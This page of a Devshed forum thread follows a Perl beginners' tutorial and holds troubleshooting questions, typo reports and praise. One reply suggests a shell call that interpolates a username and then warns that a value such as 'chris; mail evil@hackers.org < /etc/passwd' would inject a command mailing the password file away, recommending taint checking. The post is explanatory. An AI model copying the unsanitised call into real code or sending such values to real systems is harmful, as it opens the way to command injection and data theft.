Page 2 of 2 First 12
  • Jump to page:
    #16
  1. No Profile Picture
    guest
    Guest
    Devshed Newbie (0 - 499 posts)

    Re: My error


    The problem i'm having at this point is that I am trying to get information from /var/log/maillog that is almost 2M in size. From there, I get a core dump, however, if I try to run the program with the path of /var/log/messages (about 230k in size) the program works fine. Any ideas?

    http://www.wf.net/~rewt/cgi/ for the perl file.
  2. #17
  3. No Profile Picture
    guest
    Guest
    Devshed Newbie (0 - 499 posts)

    Re: Perhaps a bit too much for a newbie...


    Well, you could do something as simple as:
    <br>
    <pre>
    <br>
    system("cat /var/log/maillog | grep $username > mail_ustat");
    <br>
    open FH, 'mail_ustat' or die 'Could not open mail_ustat';
    <br>
    while( <FH> ) {
    <br>
    print;
    <br>
    }
    <br>
    </pre>
    <br>
    You want to be a little careful of security here though...you'll want to verify that $username is correctly formatted and that the user doesn't, for example, set $username to something like:
    <br>
    <pre>
    <br>
    chris; mail evil@hackers.org < /etc/passwd
    <br>
    </pre>
    <br>
    Running Perl with taint checking on will pick up where those kinds of issues may occur (use -t when invoking Perl).
  4. #18
  5. No Profile Picture
    guest
    Guest
    Devshed Newbie (0 - 499 posts)

    Perl


    PHP kicks all over perl and that's all there is to it.
  6. #19
  7. No Profile Picture
    guest
    Guest
    Devshed Newbie (0 - 499 posts)

    testing


    Sorry, but this is a test
  8. #20
  9. No Profile Picture
    guest
    Guest
    Devshed Newbie (0 - 499 posts)

    Good intro


    Very good introduction on Perl. Has given me a understanding of what problems can be solved using it.
  10. #21
  11. No Profile Picture
    guest
    Guest
    Devshed Newbie (0 - 499 posts)

    Great Start!


    Hey I can't wait for the next lesson!
  12. #22
  13. No Profile Picture
    guest
    Guest
    Devshed Newbie (0 - 499 posts)

    Awesome stuff !!


    This is great, please continue. I finally understand what is going on inside a PERL script.
  14. #23
  15. No Profile Picture
    guest
    Guest
    Devshed Newbie (0 - 499 posts)

    Re: nice, slow intro


    It is a little slow when you have some programming experience, but still some of us prefer to take things easy and go step by step. I thing all the Melonfire tutorials are successful because they do not assume anything about the reader and go from the beginning at a safe speed. Great Job!!
  16. #24
  17. No Profile Picture
    guest
    Guest
    Devshed Newbie (0 - 499 posts)

    General comment on Perl


    Perl is a great programming language. It is easy, it is portable and most of all you do not need to be a programmer to program in Perl.
    My honest opinion on Perl is that it is a complex language that allows you to do anything in a not so difficult environment.
  18. #25
  19. No Profile Picture
    guest
    Guest
    Devshed Newbie (0 - 499 posts)

    example script typo


    The example script is
    #!/usr/bin/perl

    # Synthesis

    print ("Hello there! And what are you doing ", 1+1, "night, baby?n");

    it's missing the \ before the n after the ?. There's no text anywhere indicating it's supposed to be this way as a test or something to see if the user noticed.
  20. #26
  21. No Profile Picture
    guest
    Guest
    Devshed Newbie (0 - 499 posts)
  22. #27
  23. No Profile Picture
    guest
    Guest
    Devshed Newbie (0 - 499 posts)
  24. #28
  25. No Profile Picture
    Ducani
    Guest
    Devshed Newbie (0 - 499 posts)

    Perl 101 (Part 1) - The Basics


    Perl 101 \(Part 1\) - The Basics

    Known as much for its confusing, often oddball, syntax as for its efficiency and speed, Perl has a mystique that very few languages can match. This first article in a new series gives novice and intermediate programmers an introduction to the basics of the language. Click for full article.

    Please discuss this article in this thread. You can read the article here .
Page 2 of 2 First 12
  • Jump to page:

IMN logo majestic logo threadwatch logo seochat tools logo